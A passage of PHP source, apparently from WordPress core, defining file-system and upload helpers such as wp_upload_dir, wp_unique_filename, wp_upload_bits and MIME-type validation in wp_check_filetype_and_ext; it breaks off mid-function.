 * @param string $path Path relative to $base.
 * @return string The path with the base or absolute path.
 */
function path_join( $base, $path ) {
	if ( path_is_absolute( $path ) ) {
		return $path;
	}

	return rtrim( $base, '/' ) . '/' . $path;
}

/**
 * Normalizes a filesystem path.
 *
 * On windows systems, replaces backslashes with forward slashes
 * and forces upper-case drive letters.
 * Allows for two leading slashes for Windows network shares, but
 * ensures that all other duplicate slashes are reduced to a single.
 *
 * @since 3.9.0
 * @since 4.4.0 Ensures upper-case drive letters on Windows systems.
 * @since 4.5.0 Allows for Windows network shares.
 * @since 4.9.7 Allows for PHP file wrappers.
 *
 * @param string $path Path to normalize.
 * @return string Normalized path.
 */
function wp_normalize_path( $path ) {
	$wrapper = '';

	if ( wp_is_stream( $path ) ) {
		list( $wrapper, $path ) = explode( '://', $path, 2 );

		$wrapper .= '://';
	}

	// Standardize all paths to use '/'.
	$path = str_replace( '\\', '/', $path );

	// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
	$path = preg_replace( '|(?<=.)/+|', '/', $path );

	// Windows paths should uppercase the drive letter.
	if ( ':' === substr( $path, 1, 1 ) ) {
		$path = ucfirst( $path );
	}

	return $wrapper . $path;
}

/**
 * Determines a writable directory for temporary files.
 *
 * Function's preference is the return value of sys_get_temp_dir(),
 * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
 * before finally defaulting to /tmp/
 *
 * In the event that this function does not find a writable location,
 * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
 *
 * @since 2.5.0
 *
 * @return string Writable temporary directory.
 */
function get_temp_dir() {
	static $temp = '';
	if ( defined( 'WP_TEMP_DIR' ) ) {
		return trailingslashit( WP_TEMP_DIR );
	}

	if ( $temp ) {
		return trailingslashit( $temp );
	}

	if ( function_exists( 'sys_get_temp_dir' ) ) {
		$temp = sys_get_temp_dir();
		if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
			return trailingslashit( $temp );
		}
	}

	$temp = ini_get( 'upload_tmp_dir' );
	if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
		return trailingslashit( $temp );
	}

	$temp = WP_CONTENT_DIR . '/';
	if ( is_dir( $temp ) && wp_is_writable( $temp ) ) {
		return $temp;
	}

	return '/tmp/';
}

/**
 * Determines if a directory is writable.
 *
 * This function is used to work around certain ACL issues in PHP primarily
 * affecting Windows Servers.
 *
 * @since 3.6.0
 *
 * @see win_is_writable()
 *
 * @param string $path Path to check for write-ability.
 * @return bool Whether the path is writable.
 */
function wp_is_writable( $path ) {
	if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) ) {
		return win_is_writable( $path );
	} else {
		return @is_writable( $path );
	}
}

/**
 * Workaround for Windows bug in is_writable() function
 *
 * PHP has issues with Windows ACL's for determine if a
 * directory is writable or not, this works around them by
 * checking the ability to open files rather than relying
 * upon PHP to interprate the OS ACL.
 *
 * @since 2.8.0
 *
 * @see https://bugs.php.net/bug.php?id=27609
 * @see https://bugs.php.net/bug.php?id=30931
 *
 * @param string $path Windows path to check for write-ability.
 * @return bool Whether the path is writable.
 */
function win_is_writable( $path ) {
	if ( '/' === $path[ strlen( $path ) - 1 ] ) {
		// If it looks like a directory, check a random file within the directory.
		return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' );
	} elseif ( is_dir( $path ) ) {
		// If it's a directory (and not a file), check a random file within the directory.
		return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
	}

	// Check tmp file for read/write capabilities.
	$should_delete_tmp_file = ! file_exists( $path );

	$f = @fopen( $path, 'a' );
	if ( false === $f ) {
		return false;
	}
	fclose( $f );

	if ( $should_delete_tmp_file ) {
		unlink( $path );
	}

	return true;
}

/**
 * Retrieves uploads directory information.
 *
 * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
 * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
 * when not uploading files.
 *
 * @since 4.5.0
 *
 * @see wp_upload_dir()
 *
 * @return array See wp_upload_dir() for description.
 */
function wp_get_upload_dir() {
	return wp_upload_dir( null, false );
}

/**
 * Returns an array containing the current upload directory's path and URL.
 *
 * Checks the 'upload_path' option, which should be from the web root folder,
 * and if it isn't empty it will be used. If it is empty, then the path will be
 * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
 * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
 *
 * The upload URL path is set either by the 'upload_url_path' option or by using
 * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
 *
 * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
 * the administration settings panel), then the time will be used. The format
 * will be year first and then month.
 *
 * If the path couldn't be created, then an error will be returned with the key
 * 'error' containing the error message. The error suggests that the parent
 * directory is not writable by the server.
 *
 * @since 2.0.0
 * @uses _wp_upload_dir()
 *
 * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
 * @param bool   $create_dir Optional. Whether to check and create the uploads directory.
 *                           Default true for backward compatibility.
 * @param bool   $refresh_cache Optional. Whether to refresh the cache. Default false.
 * @return array {
 *     Array of information about the upload directory.
 *
 *     @type string       $path    Base directory and subdirectory or full path to upload directory.
 *     @type string       $url     Base URL and subdirectory or absolute URL to upload directory.
 *     @type string       $subdir  Subdirectory if uploads use year/month folders option is on.
 *     @type string       $basedir Path without subdir.
 *     @type string       $baseurl URL path without subdir.
 *     @type string|false $error   False or error message.
 * }
 */
function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
	static $cache = array(), $tested_paths = array();

	$key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );

	if ( $refresh_cache || empty( $cache[ $key ] ) ) {
		$cache[ $key ] = _wp_upload_dir( $time );
	}

	/**
	 * Filters the uploads directory data.
	 *
	 * @since 2.0.0
	 *
	 * @param array $uploads {
	 *     Array of information about the upload directory.
	 *
	 *     @type string       $path    Base directory and subdirectory or full path to upload directory.
	 *     @type string       $url     Base URL and subdirectory or absolute URL to upload directory.
	 *     @type string       $subdir  Subdirectory if uploads use year/month folders option is on.
	 *     @type string       $basedir Path without subdir.
	 *     @type string       $baseurl URL path without subdir.
	 *     @type string|false $error   False or error message.
	 * }
	 */
	$uploads = apply_filters( 'upload_dir', $cache[ $key ] );

	if ( $create_dir ) {
		$path = $uploads['path'];

		if ( array_key_exists( $path, $tested_paths ) ) {
			$uploads['error'] = $tested_paths[ $path ];
		} else {
			if ( ! wp_mkdir_p( $path ) ) {
				if ( str_starts_with( $uploads['basedir'], ABSPATH ) ) {
					$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
				} else {
					$error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir'];
				}

				$uploads['error'] = sprintf(
					/* translators: %s: Directory path. */
					__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
					esc_html( $error_path )
				);
			}

			$tested_paths[ $path ] = $uploads['error'];
		}
	}

	return $uploads;
}

/**
 * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
 *
 * @since 4.5.0
 * @access private
 *
 * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array See wp_upload_dir()
 */
function _wp_upload_dir( $time = null ) {
	$siteurl     = get_option( 'siteurl' );
	$upload_path = trim( get_option( 'upload_path' ) );

	if ( empty( $upload_path ) || 'wp-content/uploads' === $upload_path ) {
		$dir = WP_CONTENT_DIR . '/uploads';
	} elseif ( ! str_starts_with( $upload_path, ABSPATH ) ) {
		// $dir is absolute, $upload_path is (maybe) relative to ABSPATH.
		$dir = path_join( ABSPATH, $upload_path );
	} else {
		$dir = $upload_path;
	}

	$url = get_option( 'upload_url_path' );
	if ( ! $url ) {
		if ( empty( $upload_path ) || ( 'wp-content/uploads' === $upload_path ) || ( $upload_path === $dir ) ) {
			$url = WP_CONTENT_URL . '/uploads';
		} else {
			$url = trailingslashit( $siteurl ) . $upload_path;
		}
	}

	/*
	 * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
	 * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
	 */
	if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
		$dir = ABSPATH . UPLOADS;
		$url = trailingslashit( $siteurl ) . UPLOADS;
	}

	// If multisite (and if not the main site in a post-MU network).
	if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {

		if ( ! get_site_option( 'ms_files_rewriting' ) ) {
			/*
			 * If ms-files rewriting is disabled (networks created post-3.5), it is fairly
			 * straightforward: Append sites/%d if we're not on the main site (for post-MU
			 * networks). (The extra directory prevents a four-digit ID from conflicting with
			 * a year-based directory for the main site. But if a MU-era network has disabled
			 * ms-files rewriting manually, they don't need the extra directory, as they never
			 * had wp-content/uploads for the main site.)
			 */

			if ( defined( 'MULTISITE' ) ) {
				$ms_dir = '/sites/' . get_current_blog_id();
			} else {
				$ms_dir = '/' . get_current_blog_id();
			}

			$dir .= $ms_dir;
			$url .= $ms_dir;

		} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
			/*
			 * Handle the old-form ms-files.php rewriting if the network still has that enabled.
			 * When ms-files rewriting is enabled, then we only listen to UPLOADS when:
			 * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
			 *    there, and
			 * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
			 *    the original blog ID.
			 *
			 * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
			 * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
			 * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
			 * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
			 */

			if ( defined( 'BLOGUPLOADDIR' ) ) {
				$dir = untrailingslashit( BLOGUPLOADDIR );
			} else {
				$dir = ABSPATH . UPLOADS;
			}
			$url = trailingslashit( $siteurl ) . 'files';
		}
	}

	$basedir = $dir;
	$baseurl = $url;

	$subdir = '';
	if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
		// Generate the yearly and monthly directories.
		if ( ! $time ) {
			$time = current_time( 'mysql' );
		}
		$y      = substr( $time, 0, 4 );
		$m      = substr( $time, 5, 2 );
		$subdir = "/$y/$m";
	}

	$dir .= $subdir;
	$url .= $subdir;

	return array(
		'path'    => $dir,
		'url'     => $url,
		'subdir'  => $subdir,
		'basedir' => $basedir,
		'baseurl' => $baseurl,
		'error'   => false,
	);
}

/**
 * Gets a filename that is sanitized and unique for the given directory.
 *
 * If the filename is not unique, then a number will be added to the filename
 * before the extension, and will continue adding numbers until the filename
 * is unique.
 *
 * The callback function allows the caller to use their own method to create
 * unique file names. If defined, the callback should take three arguments:
 * - directory, base filename, and extension - and return a unique filename.
 *
 * @since 2.5.0
 *
 * @param string   $dir                      Directory.
 * @param string   $filename                 File name.
 * @param callable $unique_filename_callback Callback. Default null.
 * @return string New filename, if given wasn't unique.
 */
function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
	// Sanitize the file name before we begin processing.
	$filename = sanitize_file_name( $filename );
	$ext2     = null;

	// Initialize vars used in the wp_unique_filename filter.
	$number        = '';
	$alt_filenames = array();

	// Separate the filename into a name and extension.
	$ext  = pathinfo( $filename, PATHINFO_EXTENSION );
	$name = pathinfo( $filename, PATHINFO_BASENAME );

	if ( $ext ) {
		$ext = '.' . $ext;
	}

	// Edge case: if file is named '.ext', treat as an empty name.
	if ( $name === $ext ) {
		$name = '';
	}

	/*
	 * Increment the file number until we have a unique file to save in $dir.
	 * Use callback if supplied.
	 */
	if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
		$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
	} else {
		$fname = pathinfo( $filename, PATHINFO_FILENAME );

		// Always append a number to file names that can potentially match image sub-size file names.
		if ( $fname && preg_match( '/-(?:\d+x\d+|scaled|rotated)$/', $fname ) ) {
			$number = 1;

			// At this point the file name may not be unique. This is tested below and the $number is incremented.
			$filename = str_replace( "{$fname}{$ext}", "{$fname}-{$number}{$ext}", $filename );
		}

		/*
		 * Get the mime type. Uploaded files were already checked with wp_check_filetype_and_ext()
		 * in _wp_handle_upload(). Using wp_check_filetype() would be sufficient here.
		 */
		$file_type = wp_check_filetype( $filename );
		$mime_type = $file_type['type'];

		$is_image    = ( ! empty( $mime_type ) && str_starts_with( $mime_type, 'image/' ) );
		$upload_dir  = wp_get_upload_dir();
		$lc_filename = null;

		$lc_ext = strtolower( $ext );
		$_dir   = trailingslashit( $dir );

		/*
		 * If the extension is uppercase add an alternate file name with lowercase extension.
		 * Both need to be tested for uniqueness as the extension will be changed to lowercase
		 * for better compatibility with different filesystems. Fixes an inconsistency in WP < 2.9
		 * where uppercase extensions were allowed but image sub-sizes were created with
		 * lowercase extensions.
		 */
		if ( $ext && $lc_ext !== $ext ) {
			$lc_filename = preg_replace( '|' . preg_quote( $ext ) . '$|', $lc_ext, $filename );
		}

		/*
		 * Increment the number added to the file name if there are any files in $dir
		 * whose names match one of the possible name variations.
		 */
		while ( file_exists( $_dir . $filename ) || ( $lc_filename && file_exists( $_dir . $lc_filename ) ) ) {
			$new_number = (int) $number + 1;

			if ( $lc_filename ) {
				$lc_filename = str_replace(
					array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ),
					"-{$new_number}{$lc_ext}",
					$lc_filename
				);
			}

			if ( '' === "{$number}{$ext}" ) {
				$filename = "{$filename}-{$new_number}";
			} else {
				$filename = str_replace(
					array( "-{$number}{$ext}", "{$number}{$ext}" ),
					"-{$new_number}{$ext}",
					$filename
				);
			}

			$number = $new_number;
		}

		// Change the extension to lowercase if needed.
		if ( $lc_filename ) {
			$filename = $lc_filename;
		}

		/*
		 * Prevent collisions with existing file names that contain dimension-like strings
		 * (whether they are subsizes or originals uploaded prior to #42437).
		 */

		$files = array();
		$count = 10000;

		// The (resized) image files would have name and extension, and will be in the uploads dir.
		if ( $name && $ext && @is_dir( $dir ) && str_contains( $dir, $upload_dir['basedir'] ) ) {
			/**
			 * Filters the file list used for calculating a unique filename for a newly added file.
			 *
			 * Returning an array from the filter will effectively short-circuit retrieval
			 * from the filesystem and return the passed value instead.
			 *
			 * @since 5.5.0
			 *
			 * @param array|null $files    The list of files to use for filename comparisons.
			 *                             Default null (to retrieve the list from the filesystem).
			 * @param string     $dir      The directory for the new file.
			 * @param string     $filename The proposed filename for the new file.
			 */
			$files = apply_filters( 'pre_wp_unique_filename_file_list', null, $dir, $filename );

			if ( null === $files ) {
				// List of all files and directories contained in $dir.
				$files = @scandir( $dir );
			}

			if ( ! empty( $files ) ) {
				// Remove "dot" dirs.
				$files = array_diff( $files, array( '.', '..' ) );
			}

			if ( ! empty( $files ) ) {
				$count = count( $files );

				/*
				 * Ensure this never goes into infinite loop as it uses pathinfo() and regex in the check,
				 * but string replacement for the changes.
				 */
				$i = 0;

				while ( $i <= $count && _wp_check_existing_file_names( $filename, $files ) ) {
					$new_number = (int) $number + 1;

					// If $ext is uppercase it was replaced with the lowercase version after the previous loop.
					$filename = str_replace(
						array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ),
						"-{$new_number}{$lc_ext}",
						$filename
					);

					$number = $new_number;
					++$i;
				}
			}
		}

		/*
		 * Check if an image will be converted after uploading or some existing image sub-size file names may conflict
		 * when regenerated. If yes, ensure the new file name will be unique and will produce unique sub-sizes.
		 */
		if ( $is_image ) {
			/** This filter is documented in wp-includes/class-wp-image-editor.php */
			$output_formats = apply_filters( 'image_editor_output_format', array(), $_dir . $filename, $mime_type );
			$alt_types      = array();

			if ( ! empty( $output_formats[ $mime_type ] ) ) {
				// The image will be converted to this format/mime type.
				$alt_mime_type = $output_formats[ $mime_type ];

				// Other types of images whose names may conflict if their sub-sizes are regenerated.
				$alt_types   = array_keys( array_intersect( $output_formats, array( $mime_type, $alt_mime_type ) ) );
				$alt_types[] = $alt_mime_type;
			} elseif ( ! empty( $output_formats ) ) {
				$alt_types = array_keys( array_intersect( $output_formats, array( $mime_type ) ) );
			}

			// Remove duplicates and the original mime type. It will be added later if needed.
			$alt_types = array_unique( array_diff( $alt_types, array( $mime_type ) ) );

			foreach ( $alt_types as $alt_type ) {
				$alt_ext = wp_get_default_extension_for_mime_type( $alt_type );

				if ( ! $alt_ext ) {
					continue;
				}

				$alt_ext      = ".{$alt_ext}";
				$alt_filename = preg_replace( '|' . preg_quote( $lc_ext ) . '$|', $alt_ext, $filename );

				$alt_filenames[ $alt_ext ] = $alt_filename;
			}

			if ( ! empty( $alt_filenames ) ) {
				/*
				 * Add the original filename. It needs to be checked again
				 * together with the alternate filenames when $number is incremented.
				 */
				$alt_filenames[ $lc_ext ] = $filename;

				// Ensure no infinite loop.
				$i = 0;

				while ( $i <= $count && _wp_check_alternate_file_names( $alt_filenames, $_dir, $files ) ) {
					$new_number = (int) $number + 1;

					foreach ( $alt_filenames as $alt_ext => $alt_filename ) {
						$alt_filenames[ $alt_ext ] = str_replace(
							array( "-{$number}{$alt_ext}", "{$number}{$alt_ext}" ),
							"-{$new_number}{$alt_ext}",
							$alt_filename
						);
					}

					/*
					 * Also update the $number in (the output) $filename.
					 * If the extension was uppercase it was already replaced with the lowercase version.
					 */
					$filename = str_replace(
						array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ),
						"-{$new_number}{$lc_ext}",
						$filename
					);

					$number = $new_number;
					++$i;
				}
			}
		}
	}

	/**
	 * Filters the result when generating a unique file name.
	 *
	 * @since 4.5.0
	 * @since 5.8.1 The `$alt_filenames` and `$number` parameters were added.
	 *
	 * @param string        $filename                 Unique file name.
	 * @param string        $ext                      File extension. Example: ".png".
	 * @param string        $dir                      Directory path.
	 * @param callable|null $unique_filename_callback Callback function that generates the unique file name.
	 * @param string[]      $alt_filenames            Array of alternate file names that were checked for collisions.
	 * @param int|string    $number                   The highest number that was used to make the file name unique
	 *                                                or an empty string if unused.
	 */
	return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number );
}

/**
 * Helper function to test if each of an array of file names could conflict with existing files.
 *
 * @since 5.8.1
 * @access private
 *
 * @param string[] $filenames Array of file names to check.
 * @param string   $dir       The directory containing the files.
 * @param array    $files     An array of existing files in the directory. May be empty.
 * @return bool True if the tested file name could match an existing file, false otherwise.
 */
function _wp_check_alternate_file_names( $filenames, $dir, $files ) {
	foreach ( $filenames as $filename ) {
		if ( file_exists( $dir . $filename ) ) {
			return true;
		}

		if ( ! empty( $files ) && _wp_check_existing_file_names( $filename, $files ) ) {
			return true;
		}
	}

	return false;
}

/**
 * Helper function to check if a file name could match an existing image sub-size file name.
 *
 * @since 5.3.1
 * @access private
 *
 * @param string $filename The file name to check.
 * @param array  $files    An array of existing files in the directory.
 * @return bool True if the tested file name could match an existing file, false otherwise.
 */
function _wp_check_existing_file_names( $filename, $files ) {
	$fname = pathinfo( $filename, PATHINFO_FILENAME );
	$ext   = pathinfo( $filename, PATHINFO_EXTENSION );

	// Edge case, file names like `.ext`.
	if ( empty( $fname ) ) {
		return false;
	}

	if ( $ext ) {
		$ext = ".$ext";
	}

	$regex = '/^' . preg_quote( $fname ) . '-(?:\d+x\d+|scaled|rotated)' . preg_quote( $ext ) . '$/i';

	foreach ( $files as $file ) {
		if ( preg_match( $regex, $file ) ) {
			return true;
		}
	}

	return false;
}

/**
 * Creates a file in the upload folder with given content.
 *
 * If there is an error, then the key 'error' will exist with the error message.
 * If success, then the key 'file' will have the unique file path, the 'url' key
 * will have the link to the new file. and the 'error' key will be set to false.
 *
 * This function will not move an uploaded file to the upload folder. It will
 * create a new file with the content in $bits parameter. If you move the upload
 * file, read the content of the uploaded file, and then you can give the
 * filename and content to this function, which will add it to the upload
 * folder.
 *
 * The permissions will be set on the new file automatically by this function.
 *
 * @since 2.0.0
 *
 * @param string      $name       Filename.
 * @param null|string $deprecated Never used. Set to null.
 * @param string      $bits       File content
 * @param string      $time       Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array {
 *     Information about the newly-uploaded file.
 *
 *     @type string       $file  Filename of the newly-uploaded file.
 *     @type string       $url   URL of the uploaded file.
 *     @type string       $type  File type.
 *     @type string|false $error Error message, if there has been an error.
 * }
 */
function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.0.0' );
	}

	if ( empty( $name ) ) {
		return array( 'error' => __( 'Empty filename' ) );
	}

	$wp_filetype = wp_check_filetype( $name );
	if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) {
		return array( 'error' => __( 'Sorry, you are not allowed to upload this file type.' ) );
	}

	$upload = wp_upload_dir( $time );

	if ( false !== $upload['error'] ) {
		return $upload;
	}

	/**
	 * Filters whether to treat the upload bits as an error.
	 *
	 * Returning a non-array from the filter will effectively short-circuit preparing the upload bits
	 * and return that value instead. An error message should be returned as a string.
	 *
	 * @since 3.0.0
	 *
	 * @param array|string $upload_bits_error An array of upload bits data, or error message to return.
	 */
	$upload_bits_error = apply_filters(
		'wp_upload_bits',
		array(
			'name' => $name,
			'bits' => $bits,
			'time' => $time,
		)
	);
	if ( ! is_array( $upload_bits_error ) ) {
		$upload['error'] = $upload_bits_error;
		return $upload;
	}

	$filename = wp_unique_filename( $upload['path'], $name );

	$new_file = $upload['path'] . "/$filename";
	if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
		if ( str_starts_with( $upload['basedir'], ABSPATH ) ) {
			$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
		} else {
			$error_path = wp_basename( $upload['basedir'] ) . $upload['subdir'];
		}

		$message = sprintf(
			/* translators: %s: Directory path. */
			__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
			$error_path
		);
		return array( 'error' => $message );
	}

	$ifp = @fopen( $new_file, 'wb' );
	if ( ! $ifp ) {
		return array(
			/* translators: %s: File name. */
			'error' => sprintf( __( 'Could not write file %s' ), $new_file ),
		);
	}

	fwrite( $ifp, $bits );
	fclose( $ifp );
	clearstatcache();

	// Set correct file permissions.
	$stat  = @ stat( dirname( $new_file ) );
	$perms = $stat['mode'] & 0007777;
	$perms = $perms & 0000666;
	chmod( $new_file, $perms );
	clearstatcache();

	// Compute the URL.
	$url = $upload['url'] . "/$filename";

	if ( is_multisite() ) {
		clean_dirsize_cache( $new_file );
	}

	/** This filter is documented in wp-admin/includes/file.php */
	return apply_filters(
		'wp_handle_upload',
		array(
			'file'  => $new_file,
			'url'   => $url,
			'type'  => $wp_filetype['type'],
			'error' => false,
		),
		'sideload'
	);
}

/**
 * Retrieves the file type based on the extension name.
 *
 * @since 2.5.0
 *
 * @param string $ext The extension to search.
 * @return string|void The file type, example: audio, video, document, spreadsheet, etc.
 */
function wp_ext2type( $ext ) {
	$ext = strtolower( $ext );

	$ext2type = wp_get_ext_types();
	foreach ( $ext2type as $type => $exts ) {
		if ( in_array( $ext, $exts, true ) ) {
			return $type;
		}
	}
}

/**
 * Returns first matched extension for the mime-type,
 * as mapped from wp_get_mime_types().
 *
 * @since 5.8.1
 *
 * @param string $mime_type
 *
 * @return string|false
 */
function wp_get_default_extension_for_mime_type( $mime_type ) {
	$extensions = explode( '|', array_search( $mime_type, wp_get_mime_types(), true ) );

	if ( empty( $extensions[0] ) ) {
		return false;
	}

	return $extensions[0];
}

/**
 * Retrieves the file type from the file name.
 *
 * You can optionally define the mime array, if needed.
 *
 * @since 2.0.4
 *
 * @param string        $filename File name or path.
 * @param string[]|null $mimes    Optional. Array of allowed mime types keyed by their file extension regex.
 *                                Defaults to the result of get_allowed_mime_types().
 * @return array {
 *     Values for the extension and mime type.
 *
 *     @type string|false $ext  File extension, or false if the file doesn't match a mime type.
 *     @type string|false $type File mime type, or false if the file doesn't match a mime type.
 * }
 */
function wp_check_filetype( $filename, $mimes = null ) {
	if ( empty( $mimes ) ) {
		$mimes = get_allowed_mime_types();
	}
	$type = false;
	$ext  = false;

	foreach ( $mimes as $ext_preg => $mime_match ) {
		$ext_preg = '!\.(' . $ext_preg . ')$!i';
		if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
			$type = $mime_match;
			$ext  = $ext_matches[1];
			break;
		}
	}

	return compact( 'ext', 'type' );
}

/**
 * Attempts to determine the real file type of a file.
 *
 * If unable to, the file name extension will be used to determine type.
 *
 * If it's determined that the extension does not match the file's real type,
 * then the "proper_filename" value will be set with a proper filename and extension.
 *
 * Currently this function only supports renaming images validated via wp_get_image_mime().
 *
 * @since 3.0.0
 *
 * @param string        $file     Full path to the file.
 * @param string        $filename The name of the file (may differ from $file due to $file being
 *                                in a tmp directory).
 * @param string[]|null $mimes    Optional. Array of allowed mime types keyed by their file extension regex.
 *                                Defaults to the result of get_allowed_mime_types().
 * @return array {
 *     Values for the extension, mime type, and corrected filename.
 *
 *     @type string|false $ext             File extension, or false if the file doesn't match a mime type.
 *     @type string|false $type            File mime type, or false if the file doesn't match a mime type.
 *     @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined.
 * }
 */
function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
	$proper_filename = false;

	// Do basic extension validation and MIME mapping.
	$wp_filetype = wp_check_filetype( $filename, $mimes );
	$ext         = $wp_filetype['ext'];
	$type        = $wp_filetype['type'];

	// We can't do any further validation without a file to work with.
	if ( ! file_exists( $file ) ) {
		return compact( 'ext', 'type', 'proper_filename' );
	}

	$real_mime = false;

	// Validate image types.
	if ( $type && str_starts_with( $type, 'image/' ) ) {

		// Attempt to figure out what type of image it actually is.
		$real_mime = wp_get_image_mime( $file );

		if ( $real_mime && $real_mime !== $type ) {
			/**
			 * Filters the list mapping image mime types to their respective extensions.
			 *
			 * @since 3.0.0
			 *
			 * @param array $mime_to_ext Array of image mime types and their matching extensions.
			 */
			$mime_to_ext = apply_filters(
				'getimagesize_mimes_to_exts',
				array(
					'image/jpeg' => 'jpg',
					'image/png'  => 'png',
					'image/gif'  => 'gif',
					'image/bmp'  => 'bmp',
					'image/tiff' => 'tif',
					'image/webp' => 'webp',
					'image/avif' => 'avif',
				)
			);

			// Replace whatever is after the last period in the filename with the correct extension.
			if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
				$filename_parts = explode( '.', $filename );
				array_pop( $filename_parts );
				$filename_parts[] = $mime_to_ext[ $real_mime ];
				$new_filename     = implode( '.', $filename_parts );

				if ( $new_filename !== $filename ) {
					$proper_filename = $new_filename; // Mark that it changed.
				}

				// Redefine the extension / MIME.
				$wp_filetype = wp_check_filetype( $new_filename, $mimes );
				$ext         = $wp_filetype['ext'];
				$type        = $wp_filetype['type'];
			} else {
				// Reset $real_mime and try validating again.
				$real_mime = false;
			}
		}
	}

	// Validate files that didn't get validated during previous checks.
	if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
		$finfo     = finfo_open( FILEINFO_MIME_TYPE );
		$real_mime = finfo_file( $finfo, $file );
		finfo_close( $finfo );

		$google_docs_types = array(
			'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
			'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
		);

		foreach ( $google_docs_types as $google_docs_type ) {
			/*
			 * finfo_file() can return duplicate mime type for Google docs,
			 * this conditional reduces it to a single instance.
			 *
			 * @see https://bugs.php.net/bug.php?id=77784
			 * @see https://core.trac.wordpress.org/ticket/57898
			 */
			if ( 2 === substr_count( $real_mime, $google_docs_type ) ) {
				$real_mime = $google_docs_type;
			}
		}

		// fileinfo often misidentifies obscure files as one of these types.
		$nonspecific_types = array(
			'application/octet-stream',
			'application/encrypted',
			'application/CDFV2-encrypted',
			'application/zip',
		);

		/*
		 * If $real_mime doesn't match the content type we're expecting from the file's extension,
		 * we need to do some additional vetting. Media types and those listed in $nonspecific_types are
		 * allowed some leeway, but anything else must exactly match the real content type.
		 */
		if ( in_array( $real_mime, $nonspecific_types, true ) ) {
			// File is a non-specific binary type. That's ok if it's a type that generally tends to be binary.
			if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ), true ) ) {
				$type = false;
				$ext  = false;
			}
		} elseif ( str_starts_with( $real_mime, 'video/' ) || str_starts_with( $real_mime, 'audio/' ) ) {
			/*
			 * For these types, only the major type must match the real value.
			 * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip,
			 * and some media files are commonly named with the wrong extension (.mov instead of .mp4)
			 */
			if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) {
				$type = false;
				$ext  = false;
			}
		} elseif ( 'text/plain' === $real_mime ) {
			// A few common file types are occasionally detected as text/plain; allow those.
			if ( ! in_array(
				$type,
				array(
					'text/plain',
					'text/csv',
					'application/csv',
					'text/richtext',
					'text/tsv',
					'text/vtt',
				),
				true
			)
			) {
				$type = false;
				$ext  = false;
			}
		} elseif ( 'application/csv' === $real_mime ) {
			// Special casing for CSV files.
			if ( ! in_array(
				$type,
				array(
					'text/csv',
					'text/plain',
					'application/csv',
				),
				true
			)
			) {
				$type = false;
				$ext  = false;
			}
		} elseif ( 'text/rtf' === $real_mime ) {
			// Special casing for RTF files.
			if ( ! in_array(
				$type,
				array(
					'text/rtf',
					'text/plain',
					'application/rtf',
				),
				true
			)
			) {
				$type = false;
				$ext  = false;
			}
		} else {
			if ( $type !== $real_mime ) {
				/*
				 * Everything else including image/* and application/*:
				 * If the real content type doesn't match the file extension, assume it's dangerous.
				 */
				$type = false;
				$ext  = false;
			}
		}
	}

	// The mime type must be allowed.
	if ( $type ) {
		$allowed = get_allowed_mime_types();

		if ( ! in_array( $type, $allowed, true ) ) {
			$type = false;
